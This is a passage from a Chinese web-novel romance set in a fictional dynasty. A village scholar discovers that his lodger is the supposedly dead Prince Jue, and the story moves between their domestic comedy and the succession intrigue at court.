他来时匆忙,没带任何工具,自顾自捣鼓了半天也生着火,干脆撂摊子不干,坐在陆观潮身边休息。 陆观潮问,“我们什么时候回去。” “怎么着也得等天亮吧。”季铮叹气道,“等天亮了,我去找人把你抬下去。” 他有些发愁道,“我就和陈昇熟点,可你——” 可你看不太惯陈昇啊。 陆观潮猜出他的未尽之言,切了一声,“不必,我能下去。” “啊?”季铮嫌弃道,“可别,我扶不动你,太沉了。” 他说着,摸了摸自己发酸的臂膀。 夏夜寂静,虫鸣声倒也悦耳。 陆观潮无端想问季铮对幽州的看法,要知道幽州不比云州富庶,季铮怎么可能舍下云州跟他走。 他想了想,问,“你身子不健壮,幽州儿郎没有像你这样的。” 被讽刺身材,换谁都不会开心,季铮没好气的看陆观潮,刚要反驳,就回忆起陆观潮发疯在院里冲凉的那次。 陆观潮的身材貌似很好…… 季铮摇摇脑袋把这个念头甩出去,压下脾气虚心问,“幽州儿郎有什么独特健身方法?” 鱼儿咬钩,陆观潮接着道,“自是没什么独特之处,不过是幽州儿郎心怀国土,听着珏王威名长大,对其英姿倾慕敬仰,珏王殿下守国门,本人名扬国内外,实力强劲,又礼贤下士,百姓皆求编入珏王部下而已,因此自小锻炼。” “每年。”陆观潮道,“报名参军的儿郎不计其数,上至七旬老朽,下到八岁侄儿,队伍浩浩荡荡不见尾。” 陆观潮小心的观察着季铮的神色,见其没有不喜才继续说,“珏王部队待遇极好,文官武官一视同仁,凡入编者包吃包喝,前途光明灿烂,不比在大都差。” 季铮没太懂,不是聊健身秘诀吗,干嘛谈起珏王了? 来这招聘呢? 他敷衍点头,“嗯,啊,行,是不错。” 陆观潮眼角一闪,“当真觉得好,那你可愿意……去幽州?” 季铮还真考虑起可行性,道,“不行,珏王死了,没有合适的将领顶上,幽州就是一盘散沙,若打起来太危险了。” 话落,他感受到陆观潮一时间错乱的情绪。 陆观潮语无伦次的辩解道,“珏王天资,定会化险为夷。” 可死了的人怎么化险为夷? “陆观潮。”季铮笑道,“你还挺自恋。” 陆观潮一懵,脑中仿佛有一根弦断了,嗡嗡直响。 他强作镇定问,“什么意思?” “字面意思。”季铮眼底闪过精光,“陆观潮,或者珏王殿下?你瞒得我好苦。” 陆观潮哑巴了,心中惊涛骇浪,千言万语汇聚嘴边却说不出一个字,季铮也没开口,等他镇定下来。 夜间总归是冷的,阵阵凉风夹杂雨水刮来,等了良久,季铮还湿着衣服,他搓了搓身子,道,“那个,你是不是有手下在这,外面那么大的雨,也不让人进来避避。” “殿下。”季铮打了个哆嗦,又道,“你把自己夸得天花乱坠,别忘了事事要躬行,言行不一可不行。” 陆观潮默了一会,再开口调整好心情,道,“赵年。” 少顷,一个少年闪到洞口,恭敬的行了一礼,“殿下,季生员。” 季铮心情颇好的摆手,笑眯眯道, “不用客气,快来做,在外面冻坏了吧。” 他朝陆观潮的方向挤了挤,身侧让开一个位置,要求赵年来坐。 这小小生员竟这般无礼! 赵年大骇,下意识去看陆观潮,并没看出不悦的意思,反而淡淡“嗯”了声以示同意。 他只得听令,笔直的走去,端端正正的坐下,活像是受训的学子,一动不敢动。 季铮戳了他一下,“赵年赵小兄弟,你有没有火折子什么的。” 赵年掏出保存完整的火折子给他,季铮忙不迭生着火,洞内温度上升,这才舒服了。 三人相顾无言,季铮左右看看,这两人一个比一个冷酷,氛围更冷了,便专心烘烤湿掉的衣服了。 直到身上衣服全干了,也没人有表示,季铮没招了,“你们被鬼夺舍了不会说话吗?” 陆观潮问,“你怎么知道的。” “你是珏王的事?”季铮歪了下头道,“我不确定,炸你呢,居然这么准,我这运气没谁了。” 陆观潮看着火光在他的双眸中跳动,像是碎了一地的星河,亮闪闪的。 他很恼怒,但对着这双眼,什么脾气也没了。 一旁的赵年无力的闭上眼。 第二日,是赵年帮忙抬陆观潮。 不管陆观潮怎样不愿,赵年怎样不敢,在季铮的坚持下,以“大”的姿势生无可恋的下山。 好在清晨村里没什么人,不然陆观潮绝对会挖个坑埋了自己。 季秧听到声音,迎到门口,吓得捂住嘴,“阿兄,陆先生,这是?” 赵年不知如何作答,还是季铮打圆场道,“这是你陆先生的兄弟,来投奔他了。” 季秧更惊了,看赵年带上了鄙夷,“是那位贪下家财的兄长?” 她打抱不平道,“你欺手足,哪来的脸投奔!” 赵年奇怪的看陆观潮,殿下的剧本编纂的如此崎岖吗? “你误会了。”季铮胡编乱造道,“贪家财的长兄,陆观潮是二兄,这位是收养的朋友之子赵年,也是被赶出来的苦命人啊!” 说罢,装模作样的擦了擦眼。 季秧于自身之事敏感非常,遇上别人就显迟钝了,动容道,“赵公子,是我之过,你受苦了。” 赵年笑得想哭:“?” 陆观潮则凑到季铮身边,“赵年要留下?” 赵年入耳,连连拒绝,“属……我随便找个地方对付几晚就成,不碍事。” 这小院就两间房,他们不能和季秧住一起,三个大男人怎么挤? 那可是殿下啊! 他怎么敢和殿下同榻而眠。 季铮这边也觉棘手,但人接来了,总没有该走的道理。 这时,季秧小声叫他,两人走到角落,她道,“阿兄,我有法子可以留下赵公子。” 季铮一喜,“你说。” “就是。”季秧道,“你还记得李娘子吗?” 李娘子,村中大夫的女儿,胆子特小的那个,季铮有印象,这和他们家没地方住有什么关系? 他不解问道,“记得,如何?” 季秧似乎很难于启齿,吞吞吐吐道,“她阿兄离家了,家中正好有一件屋子,她要向我讨要织机使,便以此为由借助一些时间。” 陆观潮隐约听到李娘子这人,气得发笑。 季铮他敢答应一个试试。 下一秒,季铮开怀道,“好办法!” 23. 第 23 章 陆观潮气笑,恨不得吐血三升晕过去,只当没听见这句话。 可偏偏季铮的声音一个劲的往他耳朵里跑,“什么时候去,要不要提前说一声,带点礼物什么的。” “不用吧应该。”季秧扭捏的捏着衣角,不确定问,“阿兄,你真的愿意?” 季铮颔首,“这有什么不愿意的。” 不就是去朋友家住一晚嘛,那李娘子怯懦胆小,两个小姑娘家世相仿,一起睡正好培养培养感情什么的,季秧也能多一个真心朋友,多好的事,他有啥不愿意的。 最重要的是,恰好解了燃眉之急。 “殿下?”赵年叫了声陆观潮,小声说,“要不我还是走吧,您伤口又疼了吗,要不要紧?” 昨日赵年粗略的给他上过药,到底是习武之人,恢复能力强,伤口又不重,陆观潮今日已经没什么感觉了,但此刻无端痛起来,疼痛一路向上,在陆观潮脑中吵闹着趋势他把季铮捉回来。 陆观潮瞪着季铮,愤愤道,“现在有更要紧的事。” 赵年挠头,顺着他的目光看去,见季家两兄妹其乐融融的场景,不解问,“何事?” “我幽州即将损失一位千年难见的谋士良才。”陆观潮环胸而立,自己都没觉出自己语气里浓浓的气闷之意,反问道,“还不要紧?” 赵年紧张的咽了口唾沫,睁大眼睛紧张道,“这位就是改进辕犁和织机的高人?!” 毕竟是如此开天辟地的奇点子,他原以为会是个脾气古怪,傲慢孤僻,七老八十的老学究,没成想却是这个俊俏热情的小郎君。 这这这,这当之无愧是一个前无古人后无来者的良才啊! 他搓了搓手,好在没说什么大不敬的话,心中对季铮的敬意直线上升,简直想把人供起来,日夜参拜,进香侍奉。 赵年激动道,“殿下,您可问清楚了,季生员愿意去幽州吗?” “并未。”陆观潮一哽,“不过,他一定会去的。” 季铮惊才绝艳,必不会被赵泽这种君主的表面迷惑,跟着他,是唯一的出路。 殊不知,季铮如今一心只有一亩三分地。 赵年兴奋劲过去后,回过味来,问,“可这和去那什么大夫家借住有何干系?” 陆观潮冷冷道,“李大夫的女儿在招婿。” “这有什么问题。”赵年道,“季铮就算结姻,来日高升,不得携妻带儿赴幽州,我们届时多多照看不就成了?” 荒谬,季铮此人重情重义,一旦成家怎么可能还舍得离开。 陆观潮终于施舍的扫他一眼了,“你不懂。” 再者说,他一想起季铮和李娘子站在一起的样子,就烦闷委屈,妒火中烧到极点,只想拆散他们将季铮绑起来掳走。 陆观潮看人很准,会这般认为,可以说明季铮和李娘子并不登对,既然不登对,为什么要见面浪费时间? 季铮该和他一起为民献身,成就一番霸业,而不是搞什么成亲生子蹉跎一生。 陆观潮再次幻想和季铮并肩携手,笑傲天下的画面。 绿海千千敌,吾与君独领风骚,立马拉弓,万里射枭雄,简直是—— 畅意啊! 因此,季铮万万不可住在李娘子家中,说不定会发生什么呢。 赵年的确不懂,难道季生员是惧内不成? 他仔细观察下来恍然大悟,是也是也,季铮就长了一张和善的模样,倒也合理。 那又怎样,攒托不动季铮,就攒托他妻子不就成了,高官厚禄在前,总是有办法的,但看陆观潮嘴角都要瞥到大都去了,他没敢继续说。 另一边,季铮和季秧商量清楚,一拍即合,他回头看到陆观潮,浑身毛毛的。 有病是吗,盯着他看干什么? 还没问出口,就见陆观潮大步朝他走来,大有一种报仇之势。 季铮下意识后撤半步,双手护胸防卫,“你!你干什么,我没惹你吧!” 下一秒,陆观潮拎起季铮衣领,质问道,“你要去李大夫家住?” 季铮忙抓住前面的领子,防止窒息被自己衣服单杀,他猛地咳嗽几声,绝望道,“我咋地了啊!你杀了我有六十秒广告复活的奖励领取吗?!” 陆观潮这才惊觉,不能像拎猫一样拎季铮。 他松手,看季铮涨红了脸,弯腰咳嗽,忙伸手尴尬的给人轻拍顺气。 “对不住,我有些着急了。”陆观潮说着,垂下眼道,“你真的要去李大夫家住?” 季铮缓回来后,奇怪道,“没有啊,谁给你说的?” 陆观潮:“!” ——太好了! 季秧:“?” ——我没说吗? 赵年;“……” ——到底是真是假…… 面前三张脸六只眼,个个情绪复杂,季铮一时没搞懂状况。 你们都在胡思乱想些什么啊! 他懵B道,“别闹,人李娘子是小姑娘,我去人家呢多不合适,不是季秧你去吗?” 季秧没说话,捂住脸想一个人面壁静静。 “难道不是吗。”季铮面部一抽,弱弱道。 总而言之,季秧简单收拾了几件衣服,天还没黑就跑李娘子家去了,连元元都顺便都抱走了。 季铮抱着粘有猫毛的外衫,宛如孤苦鳏独一般,痴痴的望着元元离开的方向。 “又不是不回来。”陆观潮自从得知不是季铮去李娘子家后,笑意就没消下去过,也不知道在高兴什么。 他挨着季铮坐下,笑道,“你要实在想元元,我去把它抱来。” 季铮摇头,“让季秧出去住已经是委屈她了,就让元元陪她罢。” 珏王殿下受伤了,赵年自然而然的顶替了陆观潮工作,他闷着头砍了半天柴,听到两人对话抬起头来,“元元?” “是。”季铮解释道,“那只奶牛猫,乌云盖雪,是这么叫的吗?” 赵年看了眼陆观潮,道,“殿下在幽州也养了一直猫,叫芳芳。” 芳芳? 季铮被逗笑了。 芳芳媛媛,圆圆方方。 这是什么脑回路,取名鬼才啊。 他用手肘顶了顶陆观潮,打趣道,“是不是还有扁扁啊?” “没有!”陆观潮撂下一句,“唰”的起身扭头就走,但季铮还是看到他红了一片的后脖颈。 季铮低低笑了半晌,对赵年道,“你们家殿下,还怪可爱的。” 赵年瞠目结舌。 他家殿下,把辽军脑袋当瓜砍的殿下,可爱? 季生员真可怜,这才几个月,就被殿下折磨成精神病了。 身后一阵拼拼乓乓的声响,许是陆观潮听见了这话绊倒了。 季铮一抖,以手遮嘴,眨眨眼又道,“可爱吧。” 赵年哪敢说可爱,低头哼哧哼哧砍柴装没听见。 “殿下?”顾宜戴着千里眼,瞧见一个披甲踏马而来的黑影,迟疑不定道,“殿下怎么一个人回来?” 一旁,长袍男子背靠着城墙,手里摇把羽扇,高深莫测道,“非也非也,我今日掐指一算,殿下短时间内回不来。” 顾宜把千里眼丢到他怀里,翻了个白眼,“你自己看,军中严禁占卜,也就殿下宠着你,不然脑袋掉几百次都不够。” 他说完还不尽兴,吐槽道,“也不知道殿下养你有什么用。” 张佴被砸了一下,也不气,笑眯眯的拿起千里眼在手上把玩,嗔怒道,“粗人,我可是墨道首徒,总比你个毫无智商的呆子有用, 这占卜一术其中奥秘无穷,你参不透。” 若直接张口骂顾宜,大抵不放在心上,偏偏这软刀子他听不明白,最恼人。 “哎。”顾宜不满,转了转穿了一天甲胄而僵硬的胳膊,道,“你想打一架是不是?” “好了。” 两人止住斗嘴,回头看见来人,老老实实的行礼,“周将军。” 周琉邬登上城墙,远远就听见他们二人争执,头疼不已,殿下在的时候还好,殿下一走,这两位恨不得咬死对方,吵吵闹闹,成何体统。 他取了张佴怀中的千里眼,劝道,“顾宜,亏你还是一介校尉,别人敬称你一句将军,就能无法无天了?和文人喊打喊杀,羞不羞?你又吵不过他,压着些脾气。” 顾宜不服气,但依旧“嗯”了一声。 接着,周琉邬对着张佴道,“你也是,殿下聘您来是为军中修建武器的,您天天抱着六爻研究是何意啊。” 张佴自诩文质彬彬,满面春光的受了训话,甚至接话道,“将军消息不灵通,我已改学鬼谷子了。” 周琉邬不管三七二十一,透过千里眼看城下的人,嘴上道,“你墨家那一筐筐典籍还不够你学的吗?” “将军。”张佴羽扇掩住下半张面,“自古读书无止境。” 顾宜别过头,悄悄切了一声。 “不是殿下。” 周琉邬眉头紧锁,“是,侯爷?” 他一惊,“侯爷怎么来了,殿下出事了!” 这下,顾宜和张佴也顾不上吵架了,惊慌失措的前去迎接。 镇南候掏出腰牌,守城的老将士认得旧主,只看一眼就开门放行。 他下马,有人来牵走饿的饥肠辘辘的马匹,扶着他要递上热水,七嘴八舌的关心询问,没等将士将水送上,镇南候从怀里掏出一路护着的圣旨。 镇南候站稳,挥手拒了水,明黄色的圣旨展开,一句铿锵有力的“奉天承运皇帝,诏曰。”周遭安静下来,哗啦啦跪了一片。 周琉邬匆匆赶来,心道不妙,踉跄了一下,拉着顾宜和张佴跪下听旨。 “珏王薨,朕心悲已,然幽州不可一日无主,特请镇南王叶萧禾代朕察,保幽州无恙……” 众人沉默良久,还是周琉邬开口打破了宁静,他忍者心痛接旨,“臣……臣等接旨。” 稀稀拉拉的哭声响起, 张佴彻底懵了,他翻出随身携带的三枚铜钱,就地起了一卦。 他颤着手摊开铜钱——地火明夷,上六与三爻皆动,化水山蹇。 “明夷……”张佴低声念出卦名,眼底最后一抹光也暗下去。 占得明夷,骨肉相残,阴阳陌路,再无相见之期。 殿下当真,故去了…… 另一边,陆观潮打了个喷嚏,不悦的问赵年,“什么时辰了?” 赵年看了看天色,“午时了。” 季铮一个时辰前去看季秧了,说好午时就回来吃饭呢,他都把饭做好了,为什么还不回来? 看个人,要这么久吗! 赵年灰头土脸的平地,安慰道,“万一是有事耽搁了呢。” 外男不好住在姑娘家房间,就算没人知道他们两个不是亲的,季铮也坚持自己抱着铺盖去季秧房里睡,把自己的房间让给赵年和陆观潮睡。 昨夜陆观潮脸阴沉的能滴出水,看赵年的目光像是他碍了什么好事,要把他生吞活泼了似的。 赵年战战兢兢的打了地铺,后半夜才敢睡着。 今日一早,陆观潮提出要盖一间房,也不和季铮商量,人一走就开工。 殿下命令不敢不从,赵年只得苦呵呵的和陆观潮忙到现在。 陆观潮想,一定是被扣下相亲了。 季铮怎么就是不听话。 24. 第 24 章 李当归来时,季铮正恋恋不舍抱着元元摸。 李家是方圆几个村子里唯一一户大夫,家中谈不上富裕,但不愁吃穿,李娘子善心,元元被照顾的极好,听季秧说每天鱼干肉干不间断的供应,多少也算抱上大腿了。 它懒懒的打了个呼噜,翻身窝在季铮怀里继续睡。 “季大哥。” 季铮忽听有人叫他,将元元拍醒放下,回头应了一声,“是李娘子啊,我待得有些久了,季秧可有叨扰?” 李当归摇头,眼神还是怯生生的,“季秧阿姐待我和善,元元我也很欢喜,不碍事的。” 两人着实没什么共同话题,一时无言,季铮轻咳一声,到处找话题道,“这都午时了,你们要吃饭了吧。” “还早。”李当归道,“阿爹忙,要再晚点才回来,我等他回来了再做饭。” 她顿了一下,反应过来道,“季大哥要留下吃饭吗?” 季铮连连摆手,“不比不必,那个,季秧怎么还没回来?” 季秧一早替李当归给李大夫去帮忙了,季铮来了没见到人,只李当归一个女娘在,本该避嫌先回的,可他想念元元想念的紧,李当归看出来了,便劝他留下歇歇。 这一歇,就到了这个时辰。 季铮总觉得李当归是有话想和他说,一直等她说出口,不然为什么好好的要支开季秧,无奈小姑娘未免太腼腆了些,欲言又止了一上午也没憋一个声。 李当归点头“嗯”了一声。 有些话不该季铮来主动说,犹豫再三,还是不忍心让李当归羊入虎口。 他问,“我听季秧说,你在仪亲?” 李当归蓦然一顿,随后轻笑一声,“季大哥的消息好不灵通。” “哦?”季铮不解,却也松了一口气,看来李大夫倒也没丧心病狂到逼迫女儿的地步。 李当归叹口气,总算敢说心里的话,解释道,“其实说来是一场误会,沈屠户有未婚妻了,我爹上次进山采药受伤,多谢有哪位屠户搭救才幸免于难,我爹他愚钝,这个人太较真了,人家开了玩笑当了真,要让我嫁于他。” “有人劝我拜托季大哥您做一场戏,我看季秧并不大愿意,心里不想和季秧有芥蒂,纠结着没真找你,好在我阿兄来了信。” 提起阿兄,李当归脸上有了笑,“阿兄说在宫中谋了份官职,如今已经安稳了,要接我和阿爹过去,顺便在大都为我盖所铺子。” 季铮真心庆祝道,“太好了,你有才能,早早谈婚论嫁着实可惜了。” “多谢季大哥,不过。”李当归笑道,“和别人谈是可惜,和季大哥您,那时求之不得啊。” 季铮不解,“这是什么缘故。” 难道他还成了什么香饽饽不成? 李当归调笑道,“季大哥考中生员,免税免服役不说,脾气和善没架子,生得俊俏顺眼,对自家妹妹也一顶一好,村里姑娘家都猜您会喜欢什么样的姑娘。” “再加上。”李当归不好意思的捏着头发,“你和陈昇一起弄的辕犁和织机可帮了村里大忙,依我看,季大哥高官厚禄的那天指日可待。” 季铮被逗笑了,道,“来日若我真要发迹,还需李大夫提携。” 这时季秧回来了,瞧见季铮开心的凑上去,“阿兄,你怎么来了。” 季铮指着元元,道,“看看你,顺便也看看元元,你只带走了织机,没带针线,我怕你要用,过来送一趟。” 李大夫是个古板的性子,生得干瘦,颇有高深莫测的架势,和季铮见面后点头示意当打过招呼了。 天色不早,季铮没和他们聊多久,要回家时,李当归追出来,塞给他一个小罐子。 李当归道,“季大哥,听说你表弟伤着了,这药是我阿爹给的,你拿着,兴许能用上。” “多谢。”季铮没推辞,接过问了一句,“你们什么时候走?” 李当归露出一丝愁闷,道,“不知道呢,我还在劝阿爹,他舍不得那件小药铺。” 到家时,陆观潮一脸不开心的瞪着他,季铮抛给他李当归送的药罐,一句“给你带的”顺利哄好,有幸看到两人一上午的劳动成果。 入目后,季铮陷入沉思。 一片空地,清理的干干净净,挖好了地基,就差买材料真正动工了。 他记得,早上走的时候好像还没这个,对吧? 陆观潮静静坐在一边,像堵墙一样,存在感十分强烈,他微微挂着笑,心情仿佛很愉悦。 季铮不可思议的转头,“你弄的?” 陆观潮点头。 季铮又问,“一上午?” 陆观潮再次点头。 那得意盖都盖不住。 一个人一上午,你闹呢兄弟。 一旁的赵年默默放下拉伸放松的手臂,殿下说是他一个人弄的,那就是吧。 “好吧。”陆观潮承认,“赵年也帮了忙,但主意是我想的。” 季铮看向赵年,赵年一脸认真的点头,“是,十成九都是殿下做的,我并未帮上什么忙。” 陆观潮闻言,愈发得意了几分,昂头看着季铮,像是在等夸奖。 他确实是出足了力气,脸上的汗水还没来得及擦去,季铮注意到,陆观潮比刚来时黑了几度。 不知从什么时候开始,这人笑起来竟顺眼多了,早没了初见时的那么骇人。 陆观潮好好笑一笑的样子,显得整个人更帅了,不同于生人勿进的冷漠矜贵,反而有股请温润公子的风姿。 怨不得他总阴恻恻的笑,倘若他这般笑,在军中哪还有威慑力。 季铮看了他一会,直看的陆观潮连发热,才开口,“辛苦你了,你的伤还没好全,累不累?” “不累。”陆观潮哼笑一声,面上格外灿烂,“与我而言,不过洒洒水而已,想当初在幽州疏通水脉时,要比这辛苦的多,你也要一并夸来吗?” 他眼底碎开一片星光,期待的看季铮反应。 心道,季铮这性子,定是要也夸一夸的,虽说男子应自谦,不该吹嘘功劳,陆观潮则是其中最不爱自夸的那一个,陈芝麻烂豆腐的旧事没必要提出来夸奖,但季铮要夸的话,他只好受着。 季铮捏着下巴略一思索,道,“可你一个人干,未免太压榨你了。” 陆观潮挑眉,“你可要一起?” 这可不行,季铮不该干重活,到时候看着就行。 如他所愿,季铮拒绝了,陆观潮想好了 ,届时加快速度,不消半个月,他就又能和季铮同床共枕了。 正美滋滋的想着,季铮问,“你有钱?” “……”陆观潮掏出一大袋子银两,放到桌上咣当一声,“这些,应该是够了。” 季铮一哽,“你一直有吗?” “嗯。”陆观潮知道季铮要问他钱哪来的,便道,“当了件首饰,不要紧。” “实话和我说。”季铮苦笑道,“我的字到底有没有卖出去。” 陆观潮不说话了。 看来是没卖出去。 赵年不知所云,但也猜出了不是什么好事,老实的缩起来装鹌鹑。 要不是季铮前几天收拾房间翻出来自己写的字,必然不会信陆观潮还能干出糊弄他的事。 好样的陆观潮。 陆观潮道,“钱不是问题,只是时间长短罢了。” 他边说,边郑重的把钱交到季铮手里,试图用金钱哄好季铮。 俗人爱钱财,季铮就是俗人,感受到手中沉甸甸的重量,什么情绪都烟消云散了。 季铮收了钱,良心不安道,“你又是出钱又是出力,世上没这个道理。” 陆观潮心底嘲笑,那你做了我几个月的抱枕,就有道理了? 他满不在乎道,“我乐意。” 原以为季铮会感激触动,没想到下一秒季铮拍手决定,“既然如此,我下午把陈昇叫来吧!” 赵年乐道,“太好了,有人帮忙再好不过。” “呵。”陆观潮脸色一下子阴沉了,黑的能滴出墨水来。 赵年声音弱了下去,“其实,我和殿下两人就可以。” 季铮才不管他愿不愿意,用过午饭就把陈昇半绑架半拜托的带来了。 陈昇太实诚了,自个有一堆活也没说不行,兴冲冲的来了,和季铮热情商量着该怎么修,大包大揽了材料事宜,拍着胸脯保证又快又好。 “陈昇,你可帮大忙了。”季铮笑弯了眼道,“等建成了,我请你吃饭,不行不行,我今天就请你吃饭。” 陈昇挠头,红着脸道,“我应该的,吃饭谈不上,只要阿哥你以后还有什么新奇的小玩意,给我送一份就行。” 季铮乐呵呵答应,“谁都不给,保管第一个给你。” 陆观潮模糊听见“请饭”“应该”“谁都不给”“第一个”几个词,又见两人喜笑颜开的样子,一口牙都要咬碎了。 “殿下。”赵年戒备道,“这陈昇是什么来路,您看不惯,要除掉吗?” 要是陆观潮的眼神能伤人,陈昇早在踏入院子那一刻就被捅成筛子了,哪用得上赵年。 他愤愤道,“碍眼挡路的人。” 赵年跃跃欲试,“殿下莫要忧心,交于属下解决。” 他摩拳擦掌,盘算着将这人大卸几块才好解殿下心头之痛,尽管他不知道陈昇犯了什么错,但殿下就是殿下,殿下做什么事都是有原因的,他只须听令,手起刀落杀人即可。 陆观潮很想就这么让陈昇消失,转念一想,季铮心慈手软,屋檐下掉下一只燕子也得费心放回窝里,死了个人不得难过成什么样,再者陈昇也算有点用。 于是陆观潮道,“留着他的性命,我亲自取。” 25. 第 25 章 西北荒凉,漫天遍地的枯木,天高任鸟飞,却没个人影。 这里早年就已征服各方势力,小国小族很有自知之明,俯首称臣了几十年,自然而然的并入大周地界,与边陲百姓和睦共处。 因此周遭没有劲敌,除了气候唬人些,就是动不动来犯的狼群烦人的紧。 这块封地最适合守成之将,无论给谁都好,偏偏给了狼子野心的岭山候。 陆泽把岭山候发配到这苦寒之地了,还怕他有不臣之心,指了一队监察使盯着,拉屎撒尿都要一一记下,美其名曰,编撰成册,以供后世瞻阅。 放屁,哪个大将军的英勇事迹里写吃了几口饭,如厕几时? 谁人不知,那陆泽不过是顶着个名头监视他罢了。 这荒郊野岭,狼都饿的前胸贴后背,胆大包天的劫掠驻军大帐,他能怎么造反? “侯爷。”士兵进账汇报,“属下已经赶走狼群了,并未折损马匹牲畜。” 岭山候不耐烦的摆手,“这等小事,往后不必上报了。” 他灌下一口烈酒,吩咐侍从少添点炭,叫他们按照之前的份例给百姓们分下去。 士兵得令,依然保持跪姿不起身,神色怪异。 岭山候撂下酒壶,斜倒在椅子上,一脚蹬住桌案,问,“还有事?” “是。” 士兵取出密探送来的信件,弯着腰恭敬呈上去,道,“大都传来消息,听闻,珏王殿下去了……” “死了?”岭山候半信半疑的拆开信件,粗略扫过一眼后心神巨震,不禁坐直身子,眼中迸发出精光,“死了!” 这煞星死了? 这煞星终于死了! 士兵又道,“信使说,镇南候奉旨前往幽州,陛下已经应允了。” “娘的,让这老东西赶了先。”岭山候不屑道,“也罢,江南也不错,总比这好得多。” 他收好信件,一掸衣袖,“去给大都送折子,就说——” 岭山候摸着下巴,坏笑一声,“就说本候想念珏王殿下,要看着他下葬才安心。” 士兵指了指自己,“我?” “不然?”岭山候捡起桌上开了花的毛笔丢他,“本候又不会写字。” 士兵哭丧着脸道,“属下也不会。” “废物。” 岭山候“啧”了一声,转而道,“去请柳先生来,托他写的委婉点,那种什么之什么乎多来点,文邹邹的最好。” “是!”士兵拱手,跑着找柳应怜传话了。 柳应怜,前些时候逃荒来的,才智过人,第一天就出法解决的狼群吃牲畜的一大祸事。 岭山候大字不识的一个,看不出人门道,但也知道他是个人物,即便西北用不上这种人才,还是给口饭吃称一声谋士将人留下。 自从狼群那次后,柳应怜在军中成了可有可无的装饰物,鲜少有活计,顶多了帮附近百姓将士写写家书,才能十万分之一都没显露,偶尔情动吟诗作画也没个分享的人。 他明明是个男儿,却生了副女娘面,要不是声音听起来雄厚,还真没人能认出这是个儿郎。 此刻听了士兵晕晕乎乎的传话,思索了半晌才猜出意思,明白过来后,掀起涟漪的心瞬间归于平静,“是,我这就写,劳烦侯爷誊抄一份。” 原以为岭山候会是大周明星,没想是个空有野心,只余蛮力的家伙,那点跑路的心思愈发强烈。 士兵面露难色,“柳大人,您有所不知,我们侯爷,不会写字,临摹什么的,更是一窍不通。” 柳应怜一怔,眉头紧锁到能挤死只蚊子,末了,他嗤笑一声,“我知道了。” 心里却想,我一定要跑路。 岭山候不把陆泽这个皇帝放在眼里,陈情的书信还没呈到皇上桌上,他本人就已到城墙根下了。 皇上气得牙痒痒,在岭山候一把鼻涕一把泪的威力下,不得已把这口气咽进肚子里,压了几天也没找出合理的借口拒绝,还是准了他要去江南的请示。 后果是,他当夜就气病了,李太医在殿里带了半夜才没让陆泽撅过去。 这些消息,在一个多月后才传到幽州。 季铮对他们谈的什么朝廷啊,军中啊之类的没兴趣,陆观潮干脆也不避着他,趁着陈昇不在,边干活边和赵年分析。 赵年道,“岭山候在大都时,身边跟了个谋士,他自己给监察使说合眼缘的小兄弟,谁知道是从哪寻来的人物。” “哼。”陆观潮不屑道,“他那个猪脑子,寻来谋士也得把人气跑,从他那跑路的谋士还少吗?” 他手下的张佴就是叛主而来的,因为叛主这条劣迹,只有同样受人挤兑的煞星陆观潮敢收下他。 当初陆观潮正是看中了他宁可天地不容,也不从非明主的志向。 赵年累的喘着气,又道,“这次不同,有人说那谋士草根出身,对岭山候百依百顺,是个安生性子。” “安生性子是做不成好谋士的。”陆观潮抹了把额头细汗,“再者,这个世道,草根出身哪能读得起书。” 赵年一惊,“殿下的意思是?” 陆观潮颔首,“这个人不简单,吩咐人注意着点。” 这时,季铮递过来两碗井里镇过的清水,冒出来一句,“管江南的镇南候去了幽州,岭山候又去了江南,那西北谁管?” 赵年接了水,这还是季铮头一次搭话,着实不知所措,拿不准该说还是不该说,看向陆观潮,得到默许后,他道谢道, “西北本就安稳,没人看管也无妨,倒是幽州情况紧张,稍有不慎就容易外敌来犯,因此需严防死守,而江南富裕,民商多且杂,难以摸清形式,岭山候暗中做些什么,很容易成气候。” “我不懂。”季铮问道,“难道就没有别的可用之才吗?” 这次,陆观潮开口道,“有是有,他不敢用,大周重文轻武,武科废除多年,武将多是世袭,许多年没有新面孔了,如今中高层将才多是早年造反的大将军的后代或属下。” 季铮点头,“用人不疑,疑人不用,这句话说得好。” “不错。”陆观潮叹气道,“他就是想太多,脑子里尽是阴谋诡计,自负到认为所有人都想害他,便用谁都疑了。” 季铮道,“既然如此,幽州紧要,称其大周国门也不为过,来日你若复位,镇南候不肯让了怎么办。” “这不会。”赵年忙道,“侯爷和我们殿下关系极好,这不是秘密,不过是岭山候占住江南棘手些,他咬住什么,是不肯放手的。” 季铮接过陆观潮的空碗,又送上汗巾,总结道,“这么说,皇上万万不会准许你们殿下和镇南候共处幽州的,届时只留一个?”陆观潮没直接回答这个问题,只道,“幽州珏王军只能我来管。” 将领都对自己的军队有特殊情怀嘛,季铮表示理解,见陆观潮干起来活不要命似的,对赵年道,“你们家殿下一直这么爱干活吗?” 赵年瞥到陆观潮勾起的嘴角,狠下心大肆夸赞了一番,“我们殿下是这样,与民同乐,与民同苦,下田煮饭通通烂熟于手,英勇无畏,敌军不敢进犯……” “?” 好熟悉,陆观潮从前就是这么夸自己的,季铮干笑两声,道。“你们主从,性子还真是像。” 赵年不解,在看到陆观潮僵硬的那抹笑后,没了声音,他大抵是好心办坏事了。 劝季生员去幽州的重任,全靠殿下了! 隔了一会,陆观潮声音略带不安,忽的问道,“你见过李家娘子了。” “啊?”季铮懵道,“我早见过啊,我们说的是一个人吧?” 陆观潮不看季铮,手下动作不停,低着头问,“你同意帮他们?” 季铮原地反应了一会才知道他问的什么,这时才记起这几天太忙,一直没和陆观潮讲这场误会,他哭笑不得,陆观潮还是个爱八卦的性格。 虽不知陆观潮为何会多这个感兴趣,但终归没放到心上,三言两句讲了个清楚。 陆观潮松了口气,这几日他神经紧迫,季铮不主动和他说,他也不好正面问,就怕得到真相自取其辱,旁敲侧击的问过几次,无奈季铮压根没听出。 几日好不容易下定决心势必要问个究竟,没成想是这么一个答案。 也好也好,比真成亲了好。 陆观潮笑道,“你称我一句殿下,我必不会负你,封你为座上宾。” 季铮眉头一皱,他好像没答应陆观潮什么。 新房盖好是再一个月后了,好巧李当归依旧没劝好李大夫,他阿兄催得急,只好收拾东西先走了,季秧不合适和外家男子同住,也搬回新房。 原来的那屋子,赵年是想让陆观潮搬过去,而他讨好讨好季生员,就算在屋里打地铺,也不能再和殿下挤在一起了。 陆观潮则不这么想,他好似很喜欢和人挤着睡,但和的人里仅只有季铮一个。 索性季铮很好说话,赵年这边才和季铮商量好,季铮爽快的答应,并大气的称,“我们两人挤一张床又何妨?” 